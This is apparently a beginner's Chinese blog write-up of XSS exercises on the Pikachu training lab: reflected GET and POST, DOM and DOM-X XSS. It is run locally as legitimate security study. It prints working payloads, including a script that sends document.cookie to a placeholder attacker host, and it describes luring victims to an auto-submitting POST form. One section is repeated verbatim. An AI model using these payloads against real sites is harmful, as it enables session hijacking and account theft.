在学习和了解后,感觉还是要上手练习,就在网上找到了一个比较详细的漏洞平台进行练习:pikachu,期间也是经过了大大小小的问题,最后成功安装下来,菜鸟的学习之路开始。
在这里现附下载和安装问题:
[pikachu下载地址]https://github.com/zhuifengshaonianhanlu/pikachu
这里引用一下pikachu官方的话:
Pikachu使用世界上最好的语言PHP进行开发-_-,数据库使用的是mysql,因此运行Pikachu你需要提前安装好"PHP+MYSQL+中间件(如apache,nginx等)"的基础环境,建议在你的测试环境直接使用 一些集成软件来搭建这些基础环境,比如XAMPP,WAMP等,作为一个搞安全的人,这些东西对你来说应该不是什么难事。
Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意
我本地用的是phpstudy,所以方便了很多,接下来:
-->把下载下来的pikachu文件夹放到web服务器根目录下;
我这里就是phpstudy的WWW目录下
-->访问http://x.x.x.x/pikachu,会有一个红色的热情提示"欢迎使用,pikachu还没有初始化,点击进行初始化安装!",点击即可完成安装。
这样,pikachu平台就搭建好了
管理工具里面提供了一个简易的xss管理后台,供你测试钓鱼和捞cookie~(在XSS练习的时候比较重要)
这里面很多类型都不知道是啥哎-- --
安装好就开始啦
反射型XSS(get)
打开后只有一个搜索框,如图:还有,这是一个GET型的XSS漏洞,所以也可将带有XSS的URL伪装后发送给目标即可
payload:http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(%221%22)%3C/script%3E&submit=submit
如果是POST型的XSS,无法直接使用URL的方式进行攻击
反射型XSS(post)+获取cookie
上来呢是让填写用户名和密码
<p class="notice">who is 123,i don't care!</p>
并且URL无变化,所以是post传参尝试闭合,构造Payload:
</p><script>alert(1)</script>
成功或者在输入框输入:
<script>alert(document.cookie)</script>
可获取cookie实验案例:模拟获取cookie
我们怎么获得其他的用户的信息?
GET型
我们需要搭建一个收集Cookie的后台,但是这里呢,Pikachu已经为我们准备好了,只需要在左侧[管理工具]栏进入XSS后台,初始化数据库,然后登陆
<script>document.location = 'http://攻击者/pikachu/pkxss/ xcookie/cookie.php?cookie=' + document.cookie;</script>
http://127.0.0.1(漏洞)/pikachu/vul/xss/xss_reflected_get.php ?message=%3Cscript%3Edocument.location +%3D+%27http%3A%2F%2F攻击者%2Fpikachu%2fpkxss %2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
现在看一下xss后台, 是成功收集到了cookie的
POST型
由于我们不能直接把我们的恶意代码嵌入到URL中,所以攻击思路如下:
我们需要自己搭一个恶意站点,然后在网站上放一个post表单 ,将存放POST表单的链接发送给受害者,诱导受害者点击,这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。(post.html页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面
http://攻击者/pikachu/pkxss/xcookie/post.html
我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie)
这个表单位置在XSS后台下的Pikachu/pkxss/xcookie/post.html文件,修改其中的漏洞服务器地址和攻击者服务器地址,因为这里是在本地演示,因此2个IP都修改为127.0.0.1,如下:
然后我们需另外打开一个浏览器来模拟用户,先访问我们已知的存在POST型XSS漏洞的网站:http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php,并使用另一个账号test/abc123登陆,然后在用户浏览器中访问伪造的post.html站点(必须是在登陆状态下)
http://127.0.0.1/pikachu/pkxss/xcookie/post.html
然后就会响应我们在文件里修改的操作而到首页
进入XSS后台,就可看到窃取到的Cookie了:
这个操作包括下一个钓鱼的操作不知道为什么我在火狐浏览器进行了很多次,XSS后台都收不到信息,谷歌是有时候可以,在无解的时候换了IE浏览器试了一次就可以了,这里有点疑惑为什么,毕竟浪费了很多时间呀 -_-
反射型XSS(post)+获取cookie
上来呢是让填写用户名和密码
<p class="notice">who is 123,i don't care!</p>
并且URL无变化,所以是post传参尝试闭合,构造Payload:
</p><script>alert(1)</script>
成功或者在输入框输入:
<script>alert(document.cookie)</script>
可获取cookie实验案例:模拟获取cookie
我们怎么获得其他的用户的信息?
GET型
我们需要搭建一个收集Cookie的后台,但是这里呢,Pikachu已经为我们准备好了,只需要在左侧[管理工具]栏进入XSS后台,初始化数据库,然后登陆
<script>document.location = 'http://攻击者/pikachu/pkxss/ xcookie/cookie.php?cookie=' + document.cookie;</script>
http://127.0.0.1(漏洞)/pikachu/vul/xss/xss_reflected_get.php ?message=%3Cscript%3Edocument.location +%3D+%27http%3A%2F%2F攻击者%2Fpikachu%2fpkxss %2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
现在看一下xss后台, 是成功收集到了cookie的
POST型
由于我们不能直接把我们的恶意代码嵌入到URL中,所以攻击思路如下:
我们需要自己搭一个恶意站点,然后在网站上放一个post表单 ,将存放POST表单的链接发送给受害者,诱导受害者点击,这个POST表单会自动向漏洞服务器提交一个POST请求,实现受害者帮我们提交POST请求的目的。(post.html页面的作用是:当用户访问这个页面时,会自动向漏洞服务器发送POST请求,然后重定向到漏洞服务器的index页面
http://攻击者/pikachu/pkxss/xcookie/post.html
我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie)
这个表单位置在XSS后台下的Pikachu/pkxss/xcookie/post.html文件,修改其中的漏洞服务器地址和攻击者服务器地址,因为这里是在本地演示,因此2个IP都修改为127.0.0.1,如下:
然后我们需另外打开一个浏览器来模拟用户,先访问我们已知的存在POST型XSS漏洞的网站:http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php,并使用另一个账号test/abc123登陆,然后在用户浏览器中访问伪造的post.html站点(必须是在登陆状态下)
http://127.0.0.1/pikachu/pkxss/xcookie/post.html
然后就会响应我们在文件里修改的操作而到首页
进入XSS后台,就可看到窃取到的Cookie了:
这个操作包括下一个钓鱼的操作不知道为什么我在火狐浏览器进行了很多次,XSS后台都收不到信息,谷歌是有时候可以,在无解的时候换了IE浏览器试了一次就可以了,这里有点疑惑为什么,毕竟浪费了很多时间呀 -_-
DOM型XSS
进入这一关,pikachu也算贴心-_-,提示我们:先学习DOM
嗯,了解过后,回到pikachu开始测试,先输入如图:
查看源码:
所以我们可以通过闭合的方式构造Payload,(构造的Payload貌似源码给了·······)
(1)
' onclick=alert(/xss/) //
(点击超链接有弹窗)输入后,页面代码就成了
<a href=" onlick=alert(/xss/) //' >
what do you see?
</a>
即首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符//注释掉第二个单引号。 这里为什么需要onclick,是通过on事件触发?
(2)除了构造一个新事件外,还可以选择闭合掉<a>标签,并插入一个新的HTML标签。尝试如下输入:
'><img src="#" onmouseover="alert('xss')">
(点击click me就会有弹窗),页面代码如下:
<a href>
<img src="#" onmouseover="alert('xss')"
" '>what do you see? "
</a>
造成DOM型XSS的原因是前端的输入被DOM给获取到了,通过DOM又在前端输出,跟反射型和存储型比起来,它是不经过后台交互的。
还有一种方法:
利用JavaScript伪协议
在留言框里输入:javascript:alert("You are attacked !!")然后点击那个超链接(是js代码)
DOM型XSS-X
先随便输入点东西:aaa吧,细心点发现URL发生了变化
多了一个text参数:
查看源码:
跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get)
然而, 注入的payload还是很上一个一样的